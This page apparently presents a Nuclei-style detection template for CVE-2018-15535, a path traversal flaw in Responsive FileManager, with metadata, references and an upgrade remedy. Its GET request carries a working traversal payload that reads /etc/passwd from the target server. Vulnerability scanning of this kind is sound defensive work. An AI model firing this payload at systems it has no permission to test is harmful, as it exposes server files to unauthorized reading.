CVE-2018-15535: Responsive FileManager <9.13.4 - Local File Inclusion

2025-08-01 Responsive FileManager PoC Public

Description

Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.

PoC

id: CVE-2018-15535

info:
  name: Responsive FileManager <9.13.4 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to Responsive FileManager version 9.13.4 or later to fix the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45271
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15535
    - http://seclists.org/fulldisclosure/2018/Aug/34
    - https://www.exploit-db.com/exploits/45271/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15535
    cwe-id: CWE-22
    epss-score: 0.45242
    epss-percentile: 0.98722
    cpe: cpe:2.3:a:tecrail:responsive_filemanager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tecrail
    product: responsive_filemanager
  tags: cve,cve2018,lfi,edb,seclists,tecrail,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ee4d147ebdc277291380c77876675dfbcf55b369b9a71e0b39c2356386eb605b022008bc70640a67e70a7e3801c23ecbeb0b36819c7424c711680dcf56ee32574107:922c64590222798bb761d5b6d8e72950

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